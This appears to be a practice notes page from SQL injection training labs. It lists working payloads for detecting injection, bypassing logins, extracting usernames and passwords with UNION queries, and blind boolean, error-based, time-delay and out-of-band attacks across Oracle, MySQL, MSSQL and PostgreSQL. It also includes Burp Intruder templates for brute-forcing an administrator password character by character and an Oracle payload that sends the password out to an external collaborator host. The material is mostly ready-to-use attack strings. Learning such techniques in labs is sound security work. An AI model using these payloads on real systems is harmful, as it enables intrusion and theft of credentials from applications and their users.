SQL Injection

PRACTICE ! PRACTICE ! PRACTICE !

Payloads to test the presence of SQLi => 500 (Internal Server Error)

'
)'
"
`
')
")
`)
'))
"))
`))
'-SLEEP(30); #

Login Bypass Payloads

Both user and password or specific username (administrator) and payload as password

' or 1=1 --
' or '1'='1
' or 1=1 --+
user' or 1=1;#
user' or 1=1 LIMIT 1;#
user' or 1=1 LIMIT 0,1;#

UNION Based SQLi Attacks

Finding a Column containing text - Figuring out the datatype of a column

' UNION select NULL, 'a', NULL--

Retreiving data from other tables

' ORDER BY 2--
' UNION select 'a', 'a'--
' UNION select username,password from users--

Retreiving multiple values from a single column

' ORDER BY 2--
' UNION select NULL, 'a'--
' UNION select NULL, username from users--
' UNION select NULL, password from users--

' UNION select NULL, version()--                                # PostgresSQL db
' UNION select NULL, username || ':' || password from users--

Querying the DB name and version on a Oracle DB

' ORDER BY 2--
' UNION select 'a', NULL--        # gives error
' UNION select NULL, 'a'--        # gives error
' UNION select 'a', 'a'--         # still an error, makes me think this is an Oracle DB 
  • In Oracle DB, the UNION select statement must have a FROM clause, but we don't have a table from a BlackBox prespective :(

  • Fortunately, Oracle provides us with a DUAL table which is a special table that belongs to the schema of the user SYS, but it is accessible by all the users :)

' UNION select 'a', 'a' from DUAL--                # 200 OK 
' UNION select 'a', banner FROM v$version--        # OR
' UNION select 'a', banner FROM v$version

Querying the database type and version on MySQL and Microsoft

' ORDER BY 2--            # gives error
' ORDER BY 2 #            # 200 OK

' UNION select 'a', 'a' #
' UNION select @@version, 'a' #

Listing the database contents on non-Oracle DB

' ORDER BY 2--            # 200 OK - PostgresSQL, Microsoft
' ORDER BY 2 --           # 200 OK - MySQL

' UNION select 'a', 'a'--
' UNION select @@version, 'a'--        # gives error, so its not MySQL/MSSQL
' UNION select version(), 'a'--        # 200 OK - Confirms PostgresSQL

' UNION select table_name, 'a' FROM information_schema.tables--                                            # users_mhziyz
' UNION select column_name, 'a' FROM information_schema.columns WHERE table_name = 'users_mhziyz'--        # username_rfwoyp | password_ygtcup
' UNION select username_rfwoyp, password_ygtcup FROM users_mhziyz--

Listing the database contents on Oracle DB

' ORDER BY 2--
' UNION select 'a', 'a' from dual--
' UNION select table_name, 'a' from all_tables--
' UNION select column_name, 'a' from all_tab_columns WHERE table_name = 'USERS_FCGIJZ'--

# USERNAME_DTBZWH | PASSWORD_MNTNZD

' UNION select USERNAME_DTBZWH, PASSWORD_MNTNZD from USERS_FCGIJZ--

Blind-Based SQL Injections

Blind SQL injection with conditional responses

  • Test the normal way and we'll never get to see any difference - Everything gives 200

  • But there's something fishy with the Cookies, set by the application - It has something called TrackingID - Let's try tampering that !

  • Since it's a Blind Sqli, we'll just have to use boolean based payloads such as AND / OR tricking the application to answer our questions (TRUE or FALSE)

  • If it's true it'll display a Welcome Back message !

' and 1=1--        # Both trackingid and our query is TRUE - so returns true
  • Let's now confirm whether the users table exists or not

' and (select 'x' from users LIMIT 1)='x'--

If suppose the users table has 5 users, it should display 5 users and hence display the Welcome Back message too !

  • Let's now check the presence of the user administrator - displays the Welcome Back message

' and (select username from users where username='administrator')='administrator'--
  • Let's analyze the length of the password

' and (select username from users where username='administrator' and LENGTH(password)>1)='administrator'--

Obviously, the length of the password is greater than 1, hence displays the Welcome Back message

  • Send the request to intruder and bruteforce the length with the sniper attack - 20 is the password length

  • Since we've found the password length, let's now check character by character - To do this we'll have to use Cluster bomb attack where payload1 is the character count and payload2 is the bruteforcer

' and (select substring(password,&1&,1) from users where username='administrator')='&a&'--
  • Password - gujv2v5tmroiosor2ztf

Blind SQL injection with conditional errors

  • Since it's a Blind Sqli, we'll just have to use boolean based payloads such as AND / OR tricking the application to answer our questions (TRUE or FALSE)

  • But there's something fishy with the Cookies, set by the application - It has something called TrackingID - Let's try tampering that !

'
  • It breaks the query behind and results in 500 Internal Server Error - Which is a good sign !

' || (select '') || '                    # gives 500 error
' || (select '' from dual) || '          # gives 200 OK, which confirms its an Oracle DB  
  • Let's now confirm that the users table exists

' || (select '' from users) || '        # gives 500 error

We get an error because the ' ' outputs an empty entry in each entry in the users table, so the solution to this would be to LIMIT the entry by using ROWNUM=1

' || (select '' from users where rownum=1) || '    # gives 200 OK
  • Let's now confirm that the user administrator exists in the users table or not

' || (select '' from users where username='administrator') || '    # gives 200 OK

But wait ...... Does it mean we can enumerate random users with this statement?

' || (select '' from users where username='iwhdbzgcz') || '    # gives 200 OK

Okay so everything gives 200 response, Let's try to think in a smart way now - Since we are dealing with an Oracle DB, let's use the CASE expression in Oracle to determine whether the user administrator actually exists or not !

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END from dual) || '        # gives 500 error
' || (select CASE WHEN (1=0) THEN TO_CHAR(1/0) ELSE '' END from dual) || '        # gives 200 OK

The 1st statement tells us to select the CASE when 1=1 which is always true, then perform the function (1/0) which returns us an error => 500 error

The 2nd statement tells us to select the CASE when 1=0 which returns false, it executes the ELSE statement which is an empty string which gives 200 OK response

  • Now let's check whether the administrator user actually exits or not ?

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END from users where username='administrator') || '        # gives 500 error

The Order of execution in SQL queries is => The FROM clause is executed first before the SELECT clause - So when the administrator user exists in the users table, only then the select clause will get executed, which ultimately gives us an error because of the TO_CHAR function

  • Now since the user administrator is present, let's now determine the length of the password

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END from users where username='administrator' and LENGTH(password)>1) || '        # gives 500 error
' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END from users where username='administrator' and LENGTH(password)>20) || '            # gives 500 error
' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END from users where username='administrator' and LENGTH(password)>19) || '            # gives 200 OK

Which confirms that the length of the password is 20 characters, now lets use the SUBSTR function to crack the password with Burp's ClusterBomb attack

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END from users where username='administrator' and substr(password,1,1)='a') || '                # gives 200 OK

Let's now automate it with the Intruder

' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END from users where username='administrator' and substr(password,&1&,1)='&a&') || '
  • Payload 1 => Number from 1 to 20

  • Payload 2 => Bruteforcer list

Once the Attack's done, filter it by all the 500 error responses and arrange it in order to get the password

  • Password - 0pv5ev8qcqck64ojocya

Blind SQL injection with time delays

  • Let's try fuzzing the vulnerable parameter TrackingID in the session cookie with some single line characters ' => 200 OK? Something fishy !

  • Now to inject some time delay queries but before that we do not know what DB is run by the backend - So to know that lets try to fuzz all the time related queries

' || (dbms_pipe.receive_message(('a'),10))--        # nope
' || (WAITFOR DELAY '0:0:10')--                     # nope
' || (SELECT pg_sleep(10))--                        # yess
' || (SELECT SLEEP(10))--                           # nope

Thus it confirms that the Backend DB is PostgresSQL

Blind SQL injection with time delays and information retrieval

  • The vulnerable parameter is TrackingID, let's try fuzzing it with a ' character => 200 OK, fishy!

  • Let's fuzz the database version - and it seems to be like a PostgresSQL running in the backend

' || (select pg_sleep(10))--
  • Let's now confirm that the users table exists in the DB or not, inorder to confirm that we'll ask the application to sleep for 10 seconds => If its true it'll sleep for 10 seconds if not its false

' || (select case when (1=1) then pg_sleep(10) else '' end)--        # True
' || (select case when (1=0) then pg_sleep(10) else '' end)--        # False
' || (select case when (username='administrator') then pg_sleep(10) else '' end from users)--            # True, sleeps for 10 seconds
  • Now let's determine the user administrator's password?

' || (select case when (username='administrator' and LENGTH(password)>19) then pg_sleep(10) else '' end from users)--            # doesn't sleep for 10 seconds
' || (select case when (username='administrator' and LENGTH(password)>20) then pg_sleep(10) else '' end from users)--            # sleeps for 10 seconds

Thus confirms that the passwords length = 20

  • Let's try cracking the password by feeding the request to the Intruder => ClusterBomb Attack

' || (select case when (username='administrator' and substring(password,&1&,1)='&a&') then pg_sleep(10) else '' end from users)--

Password - geayezhire570zx8xqjb

Blind SQL injection with out-of-band interaction

  • The vulnerable parameter is TrackingID, let's try fuzzing it with a ' character => 200 OK, fishy!

  • Let's fuzz the database version - and it seems to be like an Unpatched Oracle DB Instance running in the backend

' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://g8psgyqfckc5wg10jh77vmlj2a80wp.oastify.com/"> %remote;]>'),'/l') FROM dual)--

Url encode the above and we'll see some DNS lookups hoppin on our collaborator

  • We got an Out-of-Band Interaction with the target !

Blind SQL injection with out-of-band data exfiltration

  • The vulnerable parameter is the TrackingID

  • Since we know the DB => Oracle

' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(select password from users where username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)--

Url encoding the above gives us some DNS lookups hoppin on our collaborator attached with our Burp client's address as we've concatenated it in our query

  • Password - 1pfyp67nj2aslkjyvkyj

Last updated